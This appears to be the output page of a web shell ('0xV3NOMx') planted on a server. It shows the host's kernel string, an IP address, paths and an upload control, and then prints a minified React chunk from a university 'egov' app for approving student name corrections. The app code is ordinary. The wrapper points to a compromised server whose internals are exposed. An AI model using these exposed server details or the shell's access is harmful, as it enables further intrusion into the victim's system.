0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.138.134.163


Current Path : /var/www/egov/build/static/js/
Upload File :
Current File : /var/www/egov/build/static/js/64.cbdd39cc.chunk.js

(window.webpackJsonp=window.webpackJsonp||[]).push([[64,307],{1243:function(e,t,r){"use strict";r.r(t);var n=r(68),a=r(100),o=r(101),c=r(103),i=r(102),l=r(104),u=r(2),s=r.n(u),h=r(941),f=r(267),p=r(411),d=r(1377),m=r(1343),g=r(272),v=r(1335),y=r(1337),w=r(1338),E=r(105),b=r(273);function x(){x=function(){return t};var e,t={},r=Object.prototype,n=r.hasOwnProperty,a=Object.defineProperty||function(e,t,r){e[t]=r.value},o="function"==typeof Symbol?Symbol:{},c=o.iterator||"@@iterator",i=o.asyncIterator||"@@asyncIterator",l=o.toStringTag||"@@toStringTag";function u(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{u({},"")}catch(e){u=function(e,t,r){return e[t]=r}}function s(e,t,r,n){var o=t&&t.prototype instanceof v?t:v,c=Object.create(o.prototype),i=new k(n||[]);return a(c,"_invoke",{value:C(e,r,i)}),c}function h(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}t.wrap=s;var f="suspendedStart",p="suspendedYield",d="executing",m="completed",g={};function v(){}function y(){}function w(){}var E={};u(E,c,function(){return this});var b=Object.getPrototypeOf,O=b&&b(b(N([])));O&&O!==r&&n.call(O,c)&&(E=O);var j=w.prototype=v.prototype=Object.create(E);function L(e){["next","throw","return"].forEach(function(t){u(e,t,function(e){return this._invoke(t,e)})})}function S(e,t){function r(a,o,c,i){var l=h(e[a],e,o);if("throw"!==l.type){var u=l.arg,s=u.value;return s&&"object"==typeof s&&n.call(s,"__await")?t.resolve(s.__await).then(function(e){r("next",e,c,i)},function(e){r("throw",e,c,i)}):t.resolve(s).then(function(e){u.value=e,c(u)},function(e){return r("throw",e,c,i)})}i(l.arg)}var o;a(this,"_invoke",{value:function(e,n){function a(){return new t(function(t,a){r(e,n,t,a)})}return o=o?o.then(a,a):a()}})}function C(t,r,n){var a=f;return function(o,c){if(a===d)throw new Error("Generator is already running");if(a===m){if("throw"===o)throw c;return{value:e,done:!0}}for(n.method=o,n.arg=c;;){var i=n.delegate;if(i){var l=T(i,n);if(l){if(l===g)continue;return l}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if(a===f)throw a=m,n.arg;n.dispatchException(n.arg)}else"return"===n.method&&n.abrupt("return",n.arg);a=d;var u=h(t,r,n);if("normal"===u.type){if(a=n.done?m:p,u.arg===g)continue;return{value:u.arg,done:n.done}}"throw"===u.type&&(a=m,n.method="throw",n.arg=u.arg)}}}function T(t,r){var n=r.method,a=t.iterator[n];if(a===e)return r.delegate=null,"throw"===n&&t.iterator.return&&(r.method="return",r.arg=e,T(t,r),"throw"===r.method)||"return"!==n&&(r.method="throw",r.arg=new TypeError("The iterator does not provide a '"+n+"' method")),g;var o=h(a,t.iterator,r.arg);if("throw"===o.type)return r.method="throw",r.arg=o.arg,r.delegate=null,g;var c=o.arg;return c?c.done?(r[t.resultName]=c.value,r.next=t.nextLoc,"return"!==r.method&&(r.method="next",r.arg=e),r.delegate=null,g):c:(r.method="throw",r.arg=new TypeError("iterator result is not an object"),r.delegate=null,g)}function A(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function _(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function k(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(A,this),this.reset(!0)}function N(t){if(t||""===t){var r=t[c];if(r)return r.call(t);if("function"==typeof t.next)return t;if(!isNaN(t.length)){var a=-1,o=function r(){for(;++a<t.length;)if(n.call(t,a))return r.value=t[a],r.done=!1,r;return r.value=e,r.done=!0,r};return o.next=o}}throw new TypeError(typeof t+" is not iterable")}return y.prototype=w,a(j,"constructor",{value:w,configurable:!0}),a(w,"constructor",{value:y,configurable:!0}),y.displayName=u(w,l,"GeneratorFunction"),t.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===y||"GeneratorFunction"===(t.displayName||t.name))},t.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,w):(e.__proto__=w,u(e,l,"GeneratorFunction")),e.prototype=Object.create(j),e},t.awrap=function(e){return{__await:e}},L(S.prototype),u(S.prototype,i,function(){return this}),t.AsyncIterator=S,t.async=function(e,r,n,a,o){void 0===o&&(o=Promise);var c=new S(s(e,r,n,a),o);return t.isGeneratorFunction(r)?c:c.next().then(function(e){return e.done?e.value:c.next()})},L(j),u(j,l,"Generator"),u(j,c,function(){return this}),u(j,"toString",function(){return"[object Generator]"}),t.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value=n,e.done=!1,e}return e.done=!0,e}},t.values=N,k.prototype={constructor:k,reset:function(t){if(this.prev=0,this.next=0,this.sent=this._sent=e,this.done=!1,this.delegate=null,this.method="next",this.arg=e,this.tryEntries.forEach(_),!t)for(var r in this)"t"===r.charAt(0)&&n.call(this,r)&&!isNaN(+r.slice(1))&&(this[r]=e)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(t){if(this.done)throw t;var r=this;function a(n,a){return i.type="throw",i.arg=t,r.next=n,a&&(r.method="next",r.arg=e),!!a}for(var o=this.tryEntries.length-1;o>=0;--o){var c=this.tryEntries[o],i=c.completion;if("root"===c.tryLoc)return a("end");if(c.tryLoc<=this.prev){var l=n.call(c,"catchLoc"),u=n.call(c,"finallyLoc");if(l&&u){if(this.prev<c.catchLoc)return a(c.catchLoc,!0);if(this.prev<c.finallyLoc)return a(c.finallyLoc)}else if(l){if(this.prev<c.catchLoc)return a(c.catchLoc,!0)}else{if(!u)throw new Error("try statement without catch or finally");if(this.prev<c.finallyLoc)return a(c.finallyLoc)}}}},abrupt:function(e,t){for(var r=this.tryEntries.length-1;r>=0;--r){var a=this.tryEntries[r];if(a.tryLoc<=this.prev&&n.call(a,"finallyLoc")&&this.prev<a.finallyLoc){var o=a;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var c=o?o.completion:{};return c.type=e,c.arg=t,o?(this.method="next",this.next=o.finallyLoc,g):this.complete(c)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),g},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),_(r),g}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var n=r.completion;if("throw"===n.type){var a=n.arg;_(r)}return a}}throw new Error("illegal catch attempt")},delegateYield:function(t,r,n){return this.delegate={iterator:N(t),resultName:r,nextLoc:n},"next"===this.method&&(this.arg=e),g}},t}var O=function(e){function t(){var e,r;Object(a.a)(this,t);for(var o=arguments.length,l=new Array(o),u=0;u<o;u++)l[u]=arguments[u];return(r=Object(c.a)(this,(e=Object(i.a)(t)).call.apply(e,[this].concat(l)))).state={correctionType:"",collRangeFrom:"0",collRangeTo:"z",regrangefrom:"0",regrangeto:"z",status:"",frmsubmit:!1,loadsub:""},r.regfromchange=function(e,t){r.setState({regrangefrom:t.value})},r.regfromchange=function(e,t){r.setState({regrangefrom:t.value})},r.regtochange=function(e,t){r.setState({regrangeto:t.value})},r.dropDownChange=function(e,t){r.setState({correctionType:t.value})},r.fromChange=function(e,t){r.setState({collRangeFrom:t.value})},r.toChange=function(e,t){r.setState({collRangeTo:t.value})},r.loadsubChnage=function(e,t){r.setState({loadsub:t.value})},r.statusDropDown=function(){var e=Object(n.a)(x().mark(function e(t,n){return x().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,r.setState({status:n.value});case 2:case"end":return e.stop()}},e)}));return function(t,r){return e.apply(this,arguments)}}(),r.submitHandler=Object(n.a)(x().mark(function e(){var t,n,a,o,c,i;return x().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(""!==r.state.correctionType){e.next=6;break}return t={header:"Error",content:"Select correction type"},r.props.showError(t),e.abrupt("return");case 6:if(""!==r.state.collRangeFrom){e.next=12;break}return n={header:"Error",content:"Select college range(from)"},r.props.showError(n),e.abrupt("return");case 12:if(""!==r.state.collRangeTo){e.next=18;break}return a={header:"Error",content:"Select college range(to)"},r.props.showError(a),e.abrupt("return");case 18:if(""!==r.state.regrangefrom){e.next=24;break}return o={header:"Error",content:"Select reg. no. range(from)"},r.props.showError(o),e.abrupt("return");case 24:if(""!==r.state.regrangeto){e.next=30;break}return c={header:"Error",content:"Select reg. no. range(to)"},r.props.showError(c),e.abrupt("return");case 30:if(""!=r.state.loadsub){e.next=36;break}return i={header:"Error",content:"Select Cannot be empty"},r.props.showError(i),e.abrupt("return");case 36:return e.next=38,r.props.submitApproveStudName(r.state);case 38:r.setState({frmsubmit:!0});case 39:case"end":return e.stop()}},e)})),r.saveApprove=function(){var e=Object(n.a)(x().mark(function e(t,n,a,o,c,i){return x().wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,r.props.saveNameStatus(t,n,a,o,r.state.status,i,r.props.user.fmobileno);case 2:case"end":return e.stop()}},e)}));return function(t,r,n,a,o,c){return e.apply(this,arguments)}}(),r.handleCancel=function(){r.setState({correctionType:"",collRangeFrom:"0",collRangeTo:"z",regrangefrom:"0",regrangeto:"z",status:"",loadsub:""})},r.renderHeader=function(){return s.a.createElement(d.a.Header,{style:{display:"flex"}},s.a.createElement("h4",null,"Approve Stud Name"),s.a.createElement("div",{className:"ml-auto"},s.a.createElement(m.a,{basic:!0,onClick:r.handleCancel,color:"black",icon:"ban",content:"Cancel"}),s.a.createElement(h.a,{to:"/dashboard"},s.a.createElement(m.a,{basic:!0,color:"red",content:"Exit",icon:"home"}))))},r}return Object(l.a)(t,e),Object(o.a)(t,[{key:"componentDidMount",value:function(){this.setState({frmsubmit:!1})}},{key:"render",value:function(){var e=this,t=this.state,r=(t.correctionType,t.collRangeFrom,t.collRangeTo,t.status,t.regrangefrom),n=t.regrangeto,a=[{key:1,value:"approved",text:"Approved"},{key:2,value:"pending",text:"Pending"},{key:3,value:"rejected",text:"Rejected"}],o=Object(b.i)();return s.a.createElement("div",null,s.a.createElement(d.a,{fluid:!0},s.a.createElement(d.a.Content,null,this.renderHeader(),s.a.createElement(g.a,null),s.a.createElement(d.a.Description,{style:{height:"".concat(o,"px"),overflowY:"auto"}},s.a.createElement(v.a,null,s.a.createElement(v.a.Group,null,s.a.createElement(v.a.Field,{width:8},s.a.createElement("label",null,"Correction Type"),s.a.createElement(y.a,{fluid:!0,search:!0,selection:!0,value:this.state.correctionType,options:[{key:1,value:"Name Correction",text:"Name Correction"}],allowAdditions:!0,placeholder:"Type",onChange:this.dropDownChange}))),s.a.createElement(v.a.Group,null,s.a.createElement(v.a.Field,{width:4},s.a.createElement(v.a.Input,{placeholder:"Register No. {From}",value:r,name:"fregfrom",label:"Reg. From",onChange:this.regfromchange})),s.a.createElement(v.a.Field,{width:4},s.a.createElement(v.a.Input,{placeholder:"Register No. {To}",value:n,name:"fregto",label:"Reg. To",onChange:this.regtochange}))),s.a.createElement(v.a.Group,null,s.a.createElement(v.a.Field,{width:4},s.a.createElement(v.a.Input,{placeholder:"College Range {From}",value:this.state.collRangeFrom,name:"ffrom",label:"College Range From",onChange:this.fromChange})),s.a.createElement(v.a.Field,{width:4},s.a.createElement(v.a.Input,{placeholder:"College Range {To}",value:this.state.collRangeTo,name:"fto",label:"College Range To",onChange:this.toChange}))),s.a.createElement(v.a.Group,null,s.a.createElement(v.a.Field,{width:8},s.a.createElement("label",null,"Select Type"),s.a.createElement(y.a,{fluid:!0,search:!0,selection:!0,value:this.state.loadsub,options:[{key:1,value:"all",text:"All"},{key:2,value:"approved",text:"Approved"},{key:3,value:"pending",text:"Pending"},{key:4,value:"rejected",text:"Rejected"}],allowAdditions:!0,placeholder:"Type",onChange:this.loadsubChnage})))),s.a.createElement("div",{className:"btn",style:{width:"20%",marginTop:"10px",alignItems:"center"}},s.a.createElement(m.a,{basic:!0,color:"blue",content:"Submit",onClick:this.submitHandler})),this.state.frmsubmit?s.a.createElement(w.a,{celled:!0,padded:!0},s.a.createElement(w.a.Header,null,s.a.createElement(w.a.Row,null,s.a.createElement(w.a.HeaderCell,{singleLine:!0},"App. No."),s.a.createElement(w.a.HeaderCell,null,"College Name"),s.a.createElement(w.a.HeaderCell,null,"College Code"),s.a.createElement(w.a.HeaderCell,null,"Reg. No."),s.a.createElement(w.a.HeaderCell,null,"Old Name"),s.a.createElement(w.a.HeaderCell,null,"New Name"),s.a.createElement(w.a.HeaderCell,null,"Attachment"),s.a.createElement(w.a.HeaderCell,null,"Status"),s.a.createElement(w.a.HeaderCell,null,"Action"))),s.a.createElement(w.a.Body,null,this.props.changeStudInfo.map(function(t,r){t.fdoc;return s.a.createElement(w.a.Row,{key:r},s.a.createElement(w.a.Cell,{textAlign:"center"},t.fapp),s.a.createElement(w.a.Cell,null,t.fcollname+" - "+t.ftown),s.a.createElement(w.a.Cell,{textAlign:"center"},t.fcollcode),s.a.createElement(w.a.Cell,{textAlign:"center"},t.fregno),s.a.createElement(w.a.Cell,null,t.foldname),s.a.createElement(w.a.Cell,null,t.fnewname),s.a.createElement(w.a.Cell,{textAlign:"center"},s.a.createElement("a",{href:"https://admission-certificates.s3.ap-south-1.amazonaws.com/"+t.fdoc,target:"_blank"},"View")),s.a.createElement(w.a.Cell,{textAlign:"center"},s.a.createElement(y.a,{fluid:!0,search:!0,selection:!0,value:""==e.state.status?t.fstatus:e.status,options:a,allowAdditions:!0,placeholder:"Type",onChange:e.statusDropDown})),s.a.createElement(w.a.Cell,null,s.a.createElement(m.a,{positive:!0,onClick:function(){return e.saveApprove(t.fregno,t.fcollname,t.foldname,t.fnewname,t.status,t.fcollcode)}},"Save")))}))):this.state.frmsubmit))))}}]),t}(s.a.Component);t.default=Object(E.b)(function(e){return{deggrp:e.deggrp,changeStudInfo:e.getStudNameChange,user:e.user}},{submitApproveStudName:p.c,showError:f.A,saveNameStatus:p.b})(O)},272:function(e,t,r){"use strict";var n=r(270),a=r.n(n),o=r(268),c=r.n(o),i=r(2),l=r.n(i),u=r(349),s=r(613),h=r(611),f=r(269);function p(e){var t=e.children,r=e.className,n=e.clearing,o=e.content,i=e.fitted,d=e.hidden,m=e.horizontal,g=e.inverted,v=e.section,y=e.vertical,w=c()("ui",Object(u.a)(n,"clearing"),Object(u.a)(i,"fitted"),Object(u.a)(d,"hidden"),Object(u.a)(m,"horizontal"),Object(u.a)(g,"inverted"),Object(u.a)(v,"section"),Object(u.a)(y,"vertical"),"divider",r),E=Object(s.a)(p,e),b=Object(h.a)(p,e);return l.a.createElement(b,a()({},E,{className:w}),f.a.isNil(t)?o:t)}p.handledProps=["as","children","className","clearing","content","fitted","hidden","horizontal","inverted","section","vertical"],p.propTypes={},t.a=p},302:function(e,t,r){},411:function(e,t,r){"use strict";r.d(t,"c",function(){return i}),r.d(t,"b",function(){return l}),r.d(t,"a",function(){return u}),r.d(t,"d",function(){return s});var n=r(68),a=r(271),o=r(267);r(302);function c(){c=function(){return t};var e,t={},r=Object.prototype,n=r.hasOwnProperty,a=Object.defineProperty||function(e,t,r){e[t]=r.value},o="function"==typeof Symbol?Symbol:{},i=o.iterator||"@@iterator",l=o.asyncIterator||"@@asyncIterator",u=o.toStringTag||"@@toStringTag";function s(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{s({},"")}catch(e){s=function(e,t,r){return e[t]=r}}function h(e,t,r,n){var o=t&&t.prototype instanceof y?t:y,c=Object.create(o.prototype),i=new k(n||[]);return a(c,"_invoke",{value:C(e,r,i)}),c}function f(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}t.wrap=h;var p="suspendedStart",d="suspendedYield",m="executing",g="completed",v={};function y(){}function w(){}function E(){}var b={};s(b,i,function(){return this});var x=Object.getPrototypeOf,O=x&&x(x(N([])));O&&O!==r&&n.call(O,i)&&(b=O);var j=E.prototype=y.prototype=Object.create(b);function L(e){["next","throw","return"].forEach(function(t){s(e,t,function(e){return this._invoke(t,e)})})}function S(e,t){function r(a,o,c,i){var l=f(e[a],e,o);if("throw"!==l.type){var u=l.arg,s=u.value;return s&&"object"==typeof s&&n.call(s,"__await")?t.resolve(s.__await).then(function(e){r("next",e,c,i)},function(e){r("throw",e,c,i)}):t.resolve(s).then(function(e){u.value=e,c(u)},function(e){return r("throw",e,c,i)})}i(l.arg)}var o;a(this,"_invoke",{value:function(e,n){function a(){return new t(function(t,a){r(e,n,t,a)})}return o=o?o.then(a,a):a()}})}function C(t,r,n){var a=p;return function(o,c){if(a===m)throw new Error("Generator is already running");if(a===g){if("throw"===o)throw c;return{value:e,done:!0}}for(n.method=o,n.arg=c;;){var i=n.delegate;if(i){var l=T(i,n);if(l){if(l===v)continue;return l}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if(a===p)throw a=g,n.arg;n.dispatchException(n.arg)}else"return"===n.method&&n.abrupt("return",n.arg);a=m;var u=f(t,r,n);if("normal"===u.type){if(a=n.done?g:d,u.arg===v)continue;return{value:u.arg,done:n.done}}"throw"===u.type&&(a=g,n.method="throw",n.arg=u.arg)}}}function T(t,r){var n=r.method,a=t.iterator[n];if(a===e)return r.delegate=null,"throw"===n&&t.iterator.return&&(r.method="return",r.arg=e,T(t,r),"throw"===r.method)||"return"!==n&&(r.method="throw",r.arg=new TypeError("The iterator does not provide a '"+n+"' method")),v;var o=f(a,t.iterator,r.arg);if("throw"===o.type)return r.method="throw",r.arg=o.arg,r.delegate=null,v;var c=o.arg;return c?c.done?(r[t.resultName]=c.value,r.next=t.nextLoc,"return"!==r.method&&(r.method="next",r.arg=e),r.delegate=null,v):c:(r.method="throw",r.arg=new TypeError("iterator result is not an object"),r.delegate=null,v)}function A(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function _(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function k(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(A,this),this.reset(!0)}function N(t){if(t||""===t){var r=t[i];if(r)return r.call(t);if("function"==typeof t.next)return t;if(!isNaN(t.length)){var a=-1,o=function r(){for(;++a<t.length;)if(n.call(t,a))return r.value=t[a],r.done=!1,r;return r.value=e,r.done=!0,r};return o.next=o}}throw new TypeError(typeof t+" is not iterable")}return w.prototype=E,a(j,"constructor",{value:E,configurable:!0}),a(E,"constructor",{value:w,configurable:!0}),w.displayName=s(E,u,"GeneratorFunction"),t.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===w||"GeneratorFunction"===(t.displayName||t.name))},t.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,E):(e.__proto__=E,s(e,u,"GeneratorFunction")),e.prototype=Object.create(j),e},t.awrap=function(e){return{__await:e}},L(S.prototype),s(S.prototype,l,function(){return this}),t.AsyncIterator=S,t.async=function(e,r,n,a,o){void 0===o&&(o=Promise);var c=new S(h(e,r,n,a),o);return t.isGeneratorFunction(r)?c:c.next().then(function(e){return e.done?e.value:c.next()})},L(j),s(j,u,"Generator"),s(j,i,function(){return this}),s(j,"toString",function(){return"[object Generator]"}),t.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value=n,e.done=!1,e}return e.done=!0,e}},t.values=N,k.prototype={constructor:k,reset:function(t){if(this.prev=0,this.next=0,this.sent=this._sent=e,this.done=!1,this.delegate=null,this.method="next",this.arg=e,this.tryEntries.forEach(_),!t)for(var r in this)"t"===r.charAt(0)&&n.call(this,r)&&!isNaN(+r.slice(1))&&(this[r]=e)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(t){if(this.done)throw t;var r=this;function a(n,a){return i.type="throw",i.arg=t,r.next=n,a&&(r.method="next",r.arg=e),!!a}for(var o=this.tryEntries.length-1;o>=0;--o){var c=this.tryEntries[o],i=c.completion;if("root"===c.tryLoc)return a("end");if(c.tryLoc<=this.prev){var l=n.call(c,"catchLoc"),u=n.call(c,"finallyLoc");if(l&&u){if(this.prev<c.catchLoc)return a(c.catchLoc,!0);if(this.prev<c.finallyLoc)return a(c.finallyLoc)}else if(l){if(this.prev<c.catchLoc)return a(c.catchLoc,!0)}else{if(!u)throw new Error("try statement without catch or finally");if(this.prev<c.finallyLoc)return a(c.finallyLoc)}}}},abrupt:function(e,t){for(var r=this.tryEntries.length-1;r>=0;--r){var a=this.tryEntries[r];if(a.tryLoc<=this.prev&&n.call(a,"finallyLoc")&&this.prev<a.finallyLoc){var o=a;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var c=o?o.completion:{};return c.type=e,c.arg=t,o?(this.method="next",this.next=o.finallyLoc,v):this.complete(c)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),v},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),_(r),v}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var n=r.completion;if("throw"===n.type){var a=n.arg;_(r)}return a}}throw new Error("illegal catch attempt")},delegateYield:function(t,r,n){return this.delegate={iterator:N(t),resultName:r,nextLoc:n},"next"===this.method&&(this.arg=e),v}},t}var i=function(e){return function(){var t=Object(n.a)(c().mark(function t(r,n){var i,l,u,s;return c().wrap(function(t){for(;;)switch(t.prev=t.next){case 0:return i=n(),r({type:"SET_LOADER"}),r({type:"DELETE_QPSTATS"}),r({type:"CLEAR_TEACHER_ID"}),t.next=6,a.a.get("/app.php",{params:{a:"approvestudname",univcode:i.user.fcuruniv,type:e.correctionType,colfrom:e.collRangeFrom,colto:e.collRangeTo,regfrom:e.regrangefrom,regto:e.regrangeto,status:e.status,option:e.loadsub}});case 6:l=t.sent,r({type:"UNSET_LOADER"}),"object"!==typeof l.data?(u={header:"Error",content:"Something went wrong"},r(Object(o.A)(u))):-1===l.data.error_code?(s={header:"Error",content:l.data.data.msg},r(Object(o.A)(s))):r({type:"APPROVE_STUD_NAME",payload:l.data});case 9:case"end":return t.stop()}},t)}));return function(e,r){return t.apply(this,arguments)}}()},l=function(e,t,r,i,l,u,s){return function(){var h=Object(n.a)(c().mark(function n(h,f){var p,d,m,g,v;return c().wrap(function(n){for(;;)switch(n.prev=n.next){case 0:return p=f(),n.next=3,a.a.post("/app.php?a=saveNameStatus&univcode="+p.univ.funivcode+"&regno="+e+"&collname="+t+"&oldname="+r+"&newname="+i+"&status="+l+"&collcode="+u+"&updmobile="+s);case 3:d=n.sent,h({type:"UNSET_LOADER"}),"object"!==typeof d.data?(m={header:"Error",content:"Something went wrong"},h(Object(o.A)(m))):-1===d.data.error_code?(g={header:"Error",content:d.data.data.msg},h(Object(o.A)(g))):(v={header:"Success",content:d.data.data.msg},h(Object(o.A)(v)));case 6:case"end":return n.stop()}},n)}));return function(e,t){return h.apply(this,arguments)}}()},u=function(e){return function(){var t=Object(n.a)(c().mark(function t(r,n){var i,l,u,s;return c().wrap(function(t){for(;;)switch(t.prev=t.next){case 0:return i=n(),r({type:"SET_LOADER"}),t.next=4,a.a.get("/app.php",{params:{a:"getTeacherDet",techerid:e.changecoll,univcode:i.user.fcuruniv}});case 4:l=t.sent,r({type:"UNSET_LOADER"}),"object"!==typeof l.data?(u={header:"Error",content:"Something went wrong"},r(Object(o.A)(u))):-1===l.data.error_code?(s={header:"Error",content:l.data.data.msg},r(Object(o.A)(s))):r({type:"TEACH_DATA",payload:l.data});case 7:case"end":return t.stop()}},t)}));return function(e,r){return t.apply(this,arguments)}}()},s=function(e){return function(){var t=Object(n.a)(c().mark(function t(r,n){var i,l,u,s;return c().wrap(function(t){for(;;)switch(t.prev=t.next){case 0:return n(),r({type:"SET_LOADER"}),t.next=4,a.a.post("/app.php?a=uploadDummy",e,{headers:{"Content-type":"multipart/form-data"}});case 4:i=t.sent,r({type:"UNSET_LOADER"}),"object"!==typeof i.data?(l={header:"Error",content:"Something went wrong"},r(Object(o.A)(l))):-1===i.data.error_code?(u={header:"Error",content:i.data.data.msg},r(Object(o.A)(u))):(s={header:"Success",content:i.data.data.msg},r(Object(o.A)(s)));case 7:case"end":return t.stop()}},t)}));return function(e,r){return t.apply(this,arguments)}}()}}}]);
//# sourceMappingURL=64.cbdd39cc.chunk.js.map